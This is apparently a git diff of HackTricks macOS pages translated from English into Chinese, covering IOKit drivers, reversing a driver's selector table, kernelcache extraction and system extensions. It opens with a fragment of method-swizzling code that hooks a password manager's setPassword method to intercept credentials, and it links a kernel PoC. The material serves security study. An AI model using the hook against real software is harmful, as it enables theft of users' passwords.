Method real_Method = class_getInstanceMethod(classMPDocument, @selector(setPassword:keyFileURL:));
// Make the original method setPassword call the fake implementation one
IMP fake_IMP = (IMP)custom_setPassword;
real_setPassword = method_setImplementation(real_Method, fake_IMP);
// Make the original method setPassword call the fake implementation one
IMP fake_IMP = (IMP)custom_setPassword;
real_setPassword = method_setImplementation(real_Method, fake_IMP);
}
```
## References
## 参考
- [https://nshipster.com/method-swizzling/](https://nshipster.com/method-swizzling/)

View File

@ -2,18 +2,17 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## 基本信息
The I/O Kit is an open-source, object-oriented **device-driver framework** in the XNU kernel, handles **dynamically loaded device drivers**. It allows modular code to be added to the kernel on-the-fly, supporting diverse hardware.
I/O Kit 是一个开源的面向对象的 **设备驱动框架**,位于 XNU 内核中,处理 **动态加载的设备驱动程序**。它允许在运行时将模块化代码添加到内核中,支持多种硬件。
IOKit drivers will basically **export functions from the kernel**. These function parameter **types** are **predefined** and are verified. Moreover, similar to XPC, IOKit is just another layer on **top of Mach messages**.
IOKit 驱动程序基本上会 **从内核导出函数**。这些函数参数的 **类型****预定义的** 并经过验证。此外,类似于 XPCIOKit 只是 **Mach 消息** 之上的另一层。
**IOKit XNU kernel code** is opensourced by Apple in [https://github.com/apple-oss-distributions/xnu/tree/main/iokit](https://github.com/apple-oss-distributions/xnu/tree/main/iokit). Moreover, the user space IOKit components are also opensource [https://github.com/opensource-apple/IOKitUser](https://github.com/opensource-apple/IOKitUser).
**IOKit XNU 内核代码** 由 Apple 在 [https://github.com/apple-oss-distributions/xnu/tree/main/iokit](https://github.com/apple-oss-distributions/xnu/tree/main/iokit) 开源。此外,用户空间的 IOKit 组件也开源 [https://github.com/opensource-apple/IOKitUser](https://github.com/opensource-apple/IOKitUser)
However, **no IOKit drivers** are opensource. Anyway, from time to time a release of a driver might come with symbols that makes it easier to debug it. Check how to [**get the driver extensions from the firmware here**](./#ipsw)**.**
It's written in **C++**. You can get demangled C++ symbols with:
然而,**没有 IOKit 驱动程序** 是开源的。无论如何,偶尔会发布带有符号的驱动程序,这使得调试变得更容易。查看如何 [**从固件获取驱动程序扩展这里**](./#ipsw)**。**
它是用 **C++** 编写的。您可以使用以下命令获取去除修饰的 C++ 符号:
```bash
# Get demangled symbols
nm -C com.apple.driver.AppleJPEGDriver
@ -23,210 +22,193 @@ c++filt
__ZN16IOUserClient202222dispatchExternalMethodEjP31IOExternalMethodArgumentsOpaquePK28IOExternalMethodDispatch2022mP8OSObjectPv
IOUserClient2022::dispatchExternalMethod(unsigned int, IOExternalMethodArgumentsOpaque*, IOExternalMethodDispatch2022 const*, unsigned long, OSObject*, void*)
```
> [!CAUTION]
> IOKit **exposed functions** could perform **additional security checks** when a client tries to call a function but note that the apps are usually **limited** by the **sandbox** to which IOKit functions they can interact with.
> IOKit **暴露的函数** 可能在客户端尝试调用函数时执行 **额外的安全检查**,但请注意,应用程序通常受到 **沙箱****限制**,只能与特定的 IOKit 函数进行交互。
## Drivers
## 驱动程序
In macOS they are located in:
在 macOS 中,它们位于:
- **`/System/Library/Extensions`**
- KEXT files built into the OS X operating system.
- 内置于 OS X 操作系统的 KEXT 文件。
- **`/Library/Extensions`**
- KEXT files installed by 3rd party software
- 由第三方软件安装的 KEXT 文件
In iOS they are located in:
在 iOS 中,它们位于:
- **`/System/Library/Extensions`**
```bash
#Use kextstat to print the loaded drivers
kextstat
Executing: /usr/bin/kmutil showloaded
No variant specified, falling back to release
Index Refs Address Size Wired Name (Version) UUID <Linked Against>
1 142 0 0 0 com.apple.kpi.bsd (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
2 11 0 0 0 com.apple.kpi.dsep (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
3 170 0 0 0 com.apple.kpi.iokit (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
4 0 0 0 0 com.apple.kpi.kasan (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
5 175 0 0 0 com.apple.kpi.libkern (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
6 154 0 0 0 com.apple.kpi.mach (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
7 88 0 0 0 com.apple.kpi.private (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
8 106 0 0 0 com.apple.kpi.unsupported (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
9 2 0xffffff8003317000 0xe000 0xe000 com.apple.kec.Libm (1) 6C1342CC-1D74-3D0F-BC43-97D5AD38200A <5>
10 12 0xffffff8003544000 0x92000 0x92000 com.apple.kec.corecrypto (11.1) F5F1255F-6552-3CF4-A9DB-D60EFDEB4A9A <8 7 6 5 3 1>
1 142 0 0 0 com.apple.kpi.bsd (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
2 11 0 0 0 com.apple.kpi.dsep (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
3 170 0 0 0 com.apple.kpi.iokit (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
4 0 0 0 0 com.apple.kpi.kasan (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
5 175 0 0 0 com.apple.kpi.libkern (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
6 154 0 0 0 com.apple.kpi.mach (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
7 88 0 0 0 com.apple.kpi.private (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
8 106 0 0 0 com.apple.kpi.unsupported (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
9 2 0xffffff8003317000 0xe000 0xe000 com.apple.kec.Libm (1) 6C1342CC-1D74-3D0F-BC43-97D5AD38200A <5>
10 12 0xffffff8003544000 0x92000 0x92000 com.apple.kec.corecrypto (11.1) F5F1255F-6552-3CF4-A9DB-D60EFDEB4A9A <8 7 6 5 3 1>
```
直到数字9列出的驱动程序**加载在地址0**。这意味着这些不是实际的驱动程序,而是**内核的一部分,无法卸载**。
Until the number 9 the listed drivers are **loaded in the address 0**. This means that those aren't real drivers but **part of the kernel and they cannot be unloaded**.
In order to find specific extensions you can use:
为了找到特定的扩展,您可以使用:
```bash
kextfind -bundle-id com.apple.iokit.IOReportFamily #Search by full bundle-id
kextfind -bundle-id -substring IOR #Search by substring in bundle-id
```
To load and unload kernel extensions do:
要加载和卸载内核扩展,请执行:
```bash
kextload com.apple.iokit.IOReportFamily
kextunload com.apple.iokit.IOReportFamily
```
## IORegistry
The **IORegistry** is a crucial part of the IOKit framework in macOS and iOS which serves as a database for representing the system's hardware configuration and state. It's a **hierarchical collection of objects that represent all the hardware and drivers** loaded on the system, and their relationships to each other.
You can get the IORegistry using the cli **`ioreg`** to inspect it from the console (specially useful for iOS).
**IORegistry** 是 macOS 和 iOS 中 IOKit 框架的一个关键部分,作为表示系统硬件配置和状态的数据库。它是一个 **层次化的对象集合,代表系统上加载的所有硬件和驱动程序**,以及它们之间的关系。
您可以使用 cli **`ioreg`** 从控制台检查 IORegistry对 iOS 特别有用)。
```bash
ioreg -l #List all
ioreg -w 0 #Not cut lines
ioreg -p <plane> #Check other plane
```
You could download **`IORegistryExplorer`** from **Xcode Additional Tools** from [**https://developer.apple.com/download/all/**](https://developer.apple.com/download/all/) and inspect the **macOS IORegistry** through a **graphical** interface.
您可以从 **Xcode 附加工具** 下载 **`IORegistryExplorer`**,并通过 **图形** 界面检查 **macOS IORegistry**
<figure><img src="../../../images/image (1167).png" alt="" width="563"><figcaption></figcaption></figure>
In IORegistryExplorer, "planes" are used to organize and display the relationships between different objects in the IORegistry. Each plane represents a specific type of relationship or a particular view of the system's hardware and driver configuration. Here are some of the common planes you might encounter in IORegistryExplorer:
在 IORegistryExplorer 中,“平面”用于组织和显示 IORegistry 中不同对象之间的关系。每个平面代表特定类型的关系或系统硬件和驱动程序配置的特定视图。以下是您可能在 IORegistryExplorer 中遇到的一些常见平面:
1. **IOService Plane**: This is the most general plane, displaying the service objects that represent drivers and nubs (communication channels between drivers). It shows the provider-client relationships between these objects.
2. **IODeviceTree Plane**: This plane represents the physical connections between devices as they are attached to the system. It is often used to visualize the hierarchy of devices connected via buses like USB or PCI.
3. **IOPower Plane**: Displays objects and their relationships in terms of power management. It can show which objects are affecting the power state of others, useful for debugging power-related issues.
4. **IOUSB Plane**: Specifically focused on USB devices and their relationships, showing the hierarchy of USB hubs and connected devices.
5. **IOAudio Plane**: This plane is for representing audio devices and their relationships within the system.
1. **IOService 平面**:这是最通用的平面,显示代表驱动程序和 nubs驱动程序之间的通信通道的服务对象。它显示这些对象之间的提供者-客户端关系。
2. **IODeviceTree 平面**:该平面表示设备与系统之间的物理连接。它通常用于可视化通过 USB 或 PCI 等总线连接的设备层次结构。
3. **IOPower 平面**:以电源管理的方式显示对象及其关系。它可以显示哪些对象影响其他对象的电源状态,便于调试与电源相关的问题。
4. **IOUSB 平面**:专注于 USB 设备及其关系,显示 USB 集线器和连接设备的层次结构。
5. **IOAudio 平面**:该平面用于表示音频设备及其在系统中的关系。
6. ...
## Driver Comm Code Example
## 驱动程序通信代码示例
The following code connects to the IOKit service `"YourServiceNameHere"` and calls the function inside the selector 0. For it:
- it first calls **`IOServiceMatching`** and **`IOServiceGetMatchingServices`** to get the service.
- It then establish a connection calling **`IOServiceOpen`**.
- And it finally calls a function with **`IOConnectCallScalarMethod`** indicating the selector 0 (the selector is the number the function you want to call has assigned).
以下代码连接到 IOKit 服务 `"YourServiceNameHere"` 并调用选择器 0 内的函数。为此:
- 首先调用 **`IOServiceMatching`** 和 **`IOServiceGetMatchingServices`** 来获取服务。
- 然后通过调用 **`IOServiceOpen`** 建立连接。
- 最后调用 **`IOConnectCallScalarMethod`** 函数,指示选择器 0选择器是您要调用的函数分配的数字
```objectivec
#import <Foundation/Foundation.h>
#import <IOKit/IOKitLib.h>
int main(int argc, const char * argv[]) {
@autoreleasepool {
// Get a reference to the service using its name
CFMutableDictionaryRef matchingDict = IOServiceMatching("YourServiceNameHere");
if (matchingDict == NULL) {
NSLog(@"Failed to create matching dictionary");
return -1;
}
@autoreleasepool {
// Get a reference to the service using its name
CFMutableDictionaryRef matchingDict = IOServiceMatching("YourServiceNameHere");
if (matchingDict == NULL) {
NSLog(@"Failed to create matching dictionary");
return -1;
}
// Obtain an iterator over all matching services
io_iterator_t iter;
kern_return_t kr = IOServiceGetMatchingServices(kIOMasterPortDefault, matchingDict, &iter);
if (kr != KERN_SUCCESS) {
NSLog(@"Failed to get matching services");
return -1;
}
// Obtain an iterator over all matching services
io_iterator_t iter;
kern_return_t kr = IOServiceGetMatchingServices(kIOMasterPortDefault, matchingDict, &iter);
if (kr != KERN_SUCCESS) {
NSLog(@"Failed to get matching services");
return -1;
}
// Get a reference to the first service (assuming it exists)
io_service_t service = IOIteratorNext(iter);
if (!service) {
NSLog(@"No matching service found");
IOObjectRelease(iter);
return -1;
}
// Get a reference to the first service (assuming it exists)
io_service_t service = IOIteratorNext(iter);
if (!service) {
NSLog(@"No matching service found");
IOObjectRelease(iter);
return -1;
}
// Open a connection to the service
io_connect_t connect;
kr = IOServiceOpen(service, mach_task_self(), 0, &connect);
if (kr != KERN_SUCCESS) {
NSLog(@"Failed to open service");
IOObjectRelease(service);
IOObjectRelease(iter);
return -1;
}
// Open a connection to the service
io_connect_t connect;
kr = IOServiceOpen(service, mach_task_self(), 0, &connect);
if (kr != KERN_SUCCESS) {
NSLog(@"Failed to open service");
IOObjectRelease(service);
IOObjectRelease(iter);
return -1;
}
// Call a method on the service
// Assume the method has a selector of 0, and takes no arguments
kr = IOConnectCallScalarMethod(connect, 0, NULL, 0, NULL, NULL);
if (kr != KERN_SUCCESS) {
NSLog(@"Failed to call method");
}
// Call a method on the service
// Assume the method has a selector of 0, and takes no arguments
kr = IOConnectCallScalarMethod(connect, 0, NULL, 0, NULL, NULL);
if (kr != KERN_SUCCESS) {
NSLog(@"Failed to call method");
}
// Cleanup
IOServiceClose(connect);
IOObjectRelease(service);
IOObjectRelease(iter);
}
return 0;
// Cleanup
IOServiceClose(connect);
IOObjectRelease(service);
IOObjectRelease(iter);
}
return 0;
}
```
还有**其他**函数可以用来调用 IOKit 函数,除了 **`IOConnectCallScalarMethod`**,还有 **`IOConnectCallMethod`**、**`IOConnectCallStructMethod`**...
There are **other** functions that can be used to call IOKit functions apart of **`IOConnectCallScalarMethod`** like **`IOConnectCallMethod`**, **`IOConnectCallStructMethod`**...
## 反向工程驱动入口点
## Reversing driver entrypoint
您可以从 [**固件镜像 (ipsw)**](./#ipsw) 中获取这些。例如,将其加载到您喜欢的反编译器中。
You could obtain these for example from a [**firmware image (ipsw)**](./#ipsw). Then, load it into your favourite decompiler.
You could start decompiling the **`externalMethod`** function as this is the driver function that will be receiving the call and calling the correct function:
您可以开始反编译 **`externalMethod`** 函数,因为这是接收调用并调用正确函数的驱动函数:
<figure><img src="../../../images/image (1168).png" alt="" width="315"><figcaption></figcaption></figure>
<figure><img src="../../../images/image (1169).png" alt=""><figcaption></figcaption></figure>
That awful call demagled means:
那个可怕的调用去混淆意味着:
```cpp
IOUserClient2022::dispatchExternalMethod(unsigned int, IOExternalMethodArgumentsOpaque*, IOExternalMethodDispatch2022 const*, unsigned long, OSObject*, void*)
```
Note how in the previous definition the **`self`** param is missed, the good definition would be:
注意在之前的定义中缺少了 **`self`** 参数,好的定义应该是:
```cpp
IOUserClient2022::dispatchExternalMethod(self, unsigned int, IOExternalMethodArgumentsOpaque*, IOExternalMethodDispatch2022 const*, unsigned long, OSObject*, void*)
```
Actually, you can find the real definition in [https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/Kernel/IOUserClient.cpp#L6388](https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/Kernel/IOUserClient.cpp#L6388):
实际上,您可以在 [https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/Kernel/IOUserClient.cpp#L6388](https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/Kernel/IOUserClient.cpp#L6388) 找到真实的定义:
```cpp
IOUserClient2022::dispatchExternalMethod(uint32_t selector, IOExternalMethodArgumentsOpaque *arguments,
const IOExternalMethodDispatch2022 dispatchArray[], size_t dispatchArrayCount,
OSObject * target, void * reference)
const IOExternalMethodDispatch2022 dispatchArray[], size_t dispatchArrayCount,
OSObject * target, void * reference)
```
With this info you can rewrite Ctrl+Right -> `Edit function signature` and set the known types:
使用此信息,您可以重写 Ctrl+Right -> `Edit function signature` 并设置已知类型:
<figure><img src="../../../images/image (1174).png" alt=""><figcaption></figcaption></figure>
The new decompiled code will look like:
新的反编译代码将如下所示:
<figure><img src="../../../images/image (1175).png" alt=""><figcaption></figcaption></figure>
For the next step we need to have defined the **`IOExternalMethodDispatch2022`** struct. It's opensource in [https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/IOKit/IOUserClient.h#L168-L176](https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/IOKit/IOUserClient.h#L168-L176), you could define it:
在下一步中,我们需要定义 **`IOExternalMethodDispatch2022`** 结构体。它是开源的,您可以在 [https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/IOKit/IOUserClient.h#L168-L176](https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/IOKit/IOUserClient.h#L168-L176) 中找到,您可以定义它:
<figure><img src="../../../images/image (1170).png" alt=""><figcaption></figcaption></figure>
Now, following the `(IOExternalMethodDispatch2022 *)&sIOExternalMethodArray` you can see a lot of data:
现在,跟随 `(IOExternalMethodDispatch2022 *)&sIOExternalMethodArray`,您可以看到很多数据:
<figure><img src="../../../images/image (1176).png" alt="" width="563"><figcaption></figcaption></figure>
Change the Data Type to **`IOExternalMethodDispatch2022:`**
将数据类型更改为 **`IOExternalMethodDispatch2022:`**
<figure><img src="../../../images/image (1177).png" alt="" width="375"><figcaption></figcaption></figure>
after the change:
更改后:
<figure><img src="../../../images/image (1179).png" alt="" width="563"><figcaption></figcaption></figure>
And as we now in there we have an **array of 7 elements** (check the final decompiled code), click to create an array of 7 elements:
正如我们现在所看到的,这里有一个 **7 个元素的数组**(检查最终的反编译代码),点击以创建一个 7 个元素的数组:
<figure><img src="../../../images/image (1180).png" alt="" width="563"><figcaption></figcaption></figure>
After the array is created you can see all the exported functions:
数组创建后,您可以看到所有导出的函数:
<figure><img src="../../../images/image (1181).png" alt=""><figcaption></figcaption></figure>
> [!TIP]
> If you remember, to **call** an **exported** function from user space we don't need to call the name of the function, but the **selector number**. Here you can see that the selector **0** is the function **`initializeDecoder`**, the selector **1** is **`startDecoder`**, the selector **2** **`initializeEncoder`**...
> 如果您记得,要从用户空间 **调用** 一个 **导出** 函数,我们不需要调用函数的名称,而是 **选择器编号**。在这里,您可以看到选择器 **0** 是函数 **`initializeDecoder`**,选择器 **1****`startDecoder`**,选择器 **2** **`initializeEncoder`**...
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,41 +1,40 @@
# macOS Kernel Extensions & Debugging
# macOS 内核扩展与调试
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## 基本信息
Kernel extensions (Kexts) are **packages** with a **`.kext`** extension that are **loaded directly into the macOS kernel space**, providing additional functionality to the main operating system.
内核扩展Kexts**以 `.kext`** 扩展名的 **包**,它们 **直接加载到 macOS 内核空间**,为主操作系统提供额外功能。
### Requirements
### 要求
Obviously, this is so powerful that it is **complicated to load a kernel extension**. These are the **requirements** that a kernel extension must meet to be loaded:
显然,这非常强大,以至于 **加载内核扩展****复杂的**。内核扩展必须满足以下 **要求** 才能被加载:
- When **entering recovery mode**, kernel **extensions must be allowed** to be loaded:
- **进入恢复模式** 时,内核 **扩展必须被允许** 加载:
<figure><img src="../../../images/image (327).png" alt=""><figcaption></figcaption></figure>
- The kernel extension must be **signed with a kernel code signing certificate**, which can only be **granted by Apple**. Who will review in detail the company and the reasons why it is needed.
- The kernel extension must also be **notarized**, Apple will be able to check it for malware.
- Then, the **root** user is the one who can **load the kernel extension** and the files inside the package must **belong to root**.
- During the upload process, the package must be prepared in a **protected non-root location**: `/Library/StagedExtensions` (requires the `com.apple.rootless.storage.KernelExtensionManagement` grant).
- Finally, when attempting to load it, the user will [**receive a confirmation request**](https://developer.apple.com/library/archive/technotes/tn2459/_index.html) and, if accepted, the computer must be **restarted** to load it.
- 内核扩展必须 **使用内核代码签名证书签名**,该证书只能由 **Apple** 授予。谁将详细审查公司及其所需的原因。
- 内核扩展还必须 **经过公证**Apple 将能够检查其是否含有恶意软件。
- 然后,**root** 用户是唯一可以 **加载内核扩展** 的人,包内的文件必须 **属于 root**
- 在上传过程中,包必须准备在 **受保护的非 root 位置**`/Library/StagedExtensions`(需要 `com.apple.rootless.storage.KernelExtensionManagement` 授权)。
- 最后,当尝试加载时,用户将 [**收到确认请求**](https://developer.apple.com/library/archive/technotes/tn2459/_index.html),如果接受,计算机必须 **重启** 以加载它。
### Loading process
### 加载过程
In Catalina it was like this: It is interesting to note that the **verification** process occurs in **userland**. However, only applications with the **`com.apple.private.security.kext-management`** grant can **request the kernel to load an extension**: `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd`
在 Catalina 中是这样的:有趣的是,**验证** 过程发生在 **用户空间**。然而,只有具有 **`com.apple.private.security.kext-management`** 授权的应用程序可以 **请求内核加载扩展**`kextcache``kextload``kextutil``kextd``syspolicyd`
1. **`kextutil`** cli **starts** the **verification** process for loading an extension
- It will talk to **`kextd`** by sending using a **Mach service**.
2. **`kextd`** will check several things, such as the **signature**
- It will talk to **`syspolicyd`** to **check** if the extension can be **loaded**.
3. **`syspolicyd`** will **prompt** the **user** if the extension has not been previously loaded.
- **`syspolicyd`** will report the result to **`kextd`**
4. **`kextd`** will finally be able to **tell the kernel to load** the extension
1. **`kextutil`** cli **启动** 加载扩展的 **验证** 过程
- 它将通过发送 **Mach 服务****`kextd`** 进行通信。
2. **`kextd`** 将检查多个事项,例如 **签名**
- 它将与 **`syspolicyd`** 进行通信以 **检查** 扩展是否可以 **加载**
3. **`syspolicyd`** **提示** **用户** 如果扩展尚未被加载。
- **`syspolicyd`** 将结果报告给 **`kextd`**
4. **`kextd`** 最终将能够 **告诉内核加载** 扩展
If **`kextd`** is not available, **`kextutil`** can perform the same checks.
### Enumeration (loaded kexts)
如果 **`kextd`** 不可用,**`kextutil`** 可以执行相同的检查。
### 枚举(已加载的 kexts
```bash
# Get loaded kernel extensions
kextstat
@ -43,40 +42,38 @@ kextstat
# Get dependencies of the kext number 22
kextstat | grep " 22 " | cut -c2-5,50- | cut -d '(' -f1
```
## Kernelcache
> [!CAUTION]
> Even though the kernel extensions are expected to be in `/System/Library/Extensions/`, if you go to this folder you **won't find any binary**. This is because of the **kernelcache** and in order to reverse one `.kext` you need to find a way to obtain it.
> 尽管内核扩展预计位于 `/System/Library/Extensions/` 中,但如果你去这个文件夹,你 **找不到任何二进制文件**。这是因为 **kernelcache**,为了反向工程一个 `.kext`,你需要找到获取它的方法。
The **kernelcache** is a **pre-compiled and pre-linked version of the XNU kernel**, along with essential device **drivers** and **kernel extensions**. It's stored in a **compressed** format and gets decompressed into memory during the boot-up process. The kernelcache facilitates a **faster boot time** by having a ready-to-run version of the kernel and crucial drivers available, reducing the time and resources that would otherwise be spent on dynamically loading and linking these components at boot time.
**kernelcache** 是 **XNU 内核的预编译和预链接版本**,以及基本的设备 **驱动程序****内核扩展**。它以 **压缩** 格式存储并在启动过程中解压到内存中。kernelcache 通过提供一个准备就绪的内核和关键驱动程序的版本,促进了 **更快的启动时间**,减少了在启动时动态加载和链接这些组件所需的时间和资源。
### Local Kerlnelcache
In iOS it's located in **`/System/Library/Caches/com.apple.kernelcaches/kernelcache`** in macOS you can find it with: **`find / -name "kernelcache" 2>/dev/null`** \
In my case in macOS I found it in:
在 iOS 中,它位于 **`/System/Library/Caches/com.apple.kernelcaches/kernelcache`**,在 macOS 中你可以通过以下命令找到它:**`find / -name "kernelcache" 2>/dev/null`** \
在我的 macOS 中,我找到了它在:
- `/System/Volumes/Preboot/1BAEB4B5-180B-4C46-BD53-51152B7D92DA/boot/DAD35E7BC0CDA79634C20BD1BD80678DFB510B2AAD3D25C1228BB34BCD0A711529D3D571C93E29E1D0C1264750FA043F/System/Library/Caches/com.apple.kernelcaches/kernelcache`
#### IMG4
The IMG4 file format is a container format used by Apple in its iOS and macOS devices for securely **storing and verifying firmware** components (like **kernelcache**). The IMG4 format includes a header and several tags which encapsulate different pieces of data including the actual payload (like a kernel or bootloader), a signature, and a set of manifest properties. The format supports cryptographic verification, allowing the device to confirm the authenticity and integrity of the firmware component before executing it.
IMG4 文件格式是 Apple 在其 iOS 和 macOS 设备中用于安全 **存储和验证固件** 组件(如 **kernelcache**的容器格式。IMG4 格式包括一个头部和多个标签,这些标签封装了不同的数据片段,包括实际的有效载荷(如内核或引导加载程序)、签名和一组清单属性。该格式支持加密验证,允许设备在执行固件组件之前确认其真实性和完整性。
It's usually composed of the following components:
它通常由以下组件组成:
- **Payload (IM4P)**:
- Often compressed (LZFSE4, LZSS, …)
- Optionally encrypted
- **Manifest (IM4M)**:
- Contains Signature
- Additional Key/Value dictionary
- **Restore Info (IM4R)**:
- Also known as APNonce
- Prevents replaying of some updates
- OPTIONAL: Usually this isn't found
Decompress the Kernelcache:
- **有效载荷 (IM4P)**
- 通常被压缩LZFSE4, LZSS, …)
- 可选加密
- **清单 (IM4M)**
- 包含签名
- 额外的键/值字典
- **恢复信息 (IM4R)**
- 也称为 APNonce
- 防止某些更新的重放
- 可选:通常不会找到
解压 Kernelcache
```bash
# img4tool (https://github.com/tihmstar/img4tool
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
@ -84,49 +81,39 @@ img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
# pyimg4 (https://github.com/m1stadev/PyIMG4)
pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
```
### Download&#x20;
### 下载
- [**KernelDebugKit Github**](https://github.com/dortania/KdkSupportPkg/releases)
In [https://github.com/dortania/KdkSupportPkg/releases](https://github.com/dortania/KdkSupportPkg/releases) it's possible to find all the kernel debug kits. You can download it, mount it, open it with [Suspicious Package](https://www.mothersruin.com/software/SuspiciousPackage/get.html) tool, access the **`.kext`** folder and **extract it**.
Check it for symbols with:
在 [https://github.com/dortania/KdkSupportPkg/releases](https://github.com/dortania/KdkSupportPkg/releases) 可以找到所有的内核调试工具包。你可以下载它,挂载它,用 [Suspicious Package](https://www.mothersruin.com/software/SuspiciousPackage/get.html) 工具打开它,访问 **`.kext`** 文件夹并 **提取它**
使用以下命令检查符号:
```bash
nm -a ~/Downloads/Sandbox.kext/Contents/MacOS/Sandbox | wc -l
```
- [**theapplewiki.com**](https://theapplewiki.com/wiki/Firmware/Mac/14.x)**,** [**ipsw.me**](https://ipsw.me/)**,** [**theiphonewiki.com**](https://www.theiphonewiki.com/)
Sometime Apple releases **kernelcache** with **symbols**. You can download some firmwares with symbols by following links on those pages. The firmwares will contain the **kernelcache** among other files.
有时Apple 会发布带有 **symbols****kernelcache**。您可以通过这些页面上的链接下载一些带有符号的固件。固件将包含 **kernelcache** 以及其他文件。
To **extract** the files start by changing the extension from `.ipsw` to `.zip` and **unzip** it.
**extract** 文件,首先将扩展名从 `.ipsw` 更改为 `.zip`**unzip** 它。
After extracting the firmware you will get a file like: **`kernelcache.release.iphone14`**. It's in **IMG4** format, you can extract the interesting info with:
提取固件后,您将获得一个文件,如:**`kernelcache.release.iphone14`**。它是 **IMG4** 格式,您可以使用以下工具提取有趣的信息:
[**pyimg4**](https://github.com/m1stadev/PyIMG4)**:**
```bash
pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
```
[**img4tool**](https://github.com/tihmstar/img4tool)**:**
[**img4tool**](https://github.com/tihmstar/img4tool)****
```bash
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
```
### 检查 kernelcache
### Inspecting kernelcache
Check if the kernelcache has symbols with
检查 kernelcache 是否具有符号。
```bash
nm -a kernelcache.release.iphone14.e | wc -l
```
With this we can now **extract all the extensions** or the **one you are interested in:**
通过这个,我们现在可以**提取所有扩展**或**您感兴趣的扩展:**
```bash
# List all extensions
kextex -l kernelcache.release.iphone14.e
@ -139,10 +126,9 @@ kextex_all kernelcache.release.iphone14.e
# Check the extension for symbols
nm -a binaries/com.apple.security.sandbox | wc -l
```
## 调试
## Debugging
## Referencias
## 参考文献
- [https://www.makeuseof.com/how-to-enable-third-party-kernel-extensions-apple-silicon-mac/](https://www.makeuseof.com/how-to-enable-third-party-kernel-extensions-apple-silicon-mac/)
- [https://www.youtube.com/watch?v=hGKOskSiaQo](https://www.youtube.com/watch?v=hGKOskSiaQo)

View File

@ -1,10 +1,10 @@
# macOS Kernel Vulnerabilities
# macOS 内核漏洞
{{#include ../../../banners/hacktricks-training.md}}
## [Pwning OTA](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/)
[**In this report**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) are explained several vulnerabilities that allowed to compromised the kernel compromising the software updater.\
[**在本报告中**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) 解释了几个漏洞,这些漏洞允许通过软件更新程序来破坏内核。\
[**PoC**](https://github.com/jhftss/POC/tree/main/CVE-2022-46722).
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,81 +1,79 @@
# macOS System Extensions
# macOS 系统扩展
{{#include ../../../banners/hacktricks-training.md}}
## System Extensions / Endpoint Security Framework
## 系统扩展 / 端点安全框架
Unlike Kernel Extensions, **System Extensions run in user space** instead of kernel space, reducing the risk of a system crash due to extension malfunction.
与内核扩展不同,**系统扩展在用户空间中运行**,而不是内核空间,从而降低了由于扩展故障导致系统崩溃的风险。
<figure><img src="../../../images/image (606).png" alt="https://knight.sc/images/system-extension-internals-1.png"><figcaption></figcaption></figure>
There are three types of system extensions: **DriverKit** Extensions, **Network** Extensions, and **Endpoint Security** Extensions.
系统扩展有三种类型:**DriverKit** 扩展、**网络** 扩展和 **端点安全** 扩展。
### **DriverKit Extensions**
### **DriverKit 扩展**
DriverKit is a replacement for kernel extensions that **provide hardware support**. It allows device drivers (like USB, Serial, NIC, and HID drivers) to run in user space rather than kernel space. The DriverKit framework includes **user space versions of certain I/O Kit classes**, and the kernel forwards normal I/O Kit events to user space, offering a safer environment for these drivers to run.
DriverKit 是内核扩展的替代品,**提供硬件支持**。它允许设备驱动程序(如 USB、串行、NIC 和 HID 驱动程序在用户空间中运行而不是内核空间。DriverKit 框架包括 **某些 I/O Kit 类的用户空间版本**,内核将正常的 I/O Kit 事件转发到用户空间,为这些驱动程序提供了一个更安全的运行环境。
### **Network Extensions**
### **网络扩展**
Network Extensions provide the ability to customize network behaviors. There are several types of Network Extensions:
网络扩展提供了自定义网络行为的能力。网络扩展有几种类型:
- **App Proxy**: This is used for creating a VPN client that implements a flow-oriented, custom VPN protocol. This means it handles network traffic based on connections (or flows) rather than individual packets.
- **Packet Tunnel**: This is used for creating a VPN client that implements a packet-oriented, custom VPN protocol. This means it handles network traffic based on individual packets.
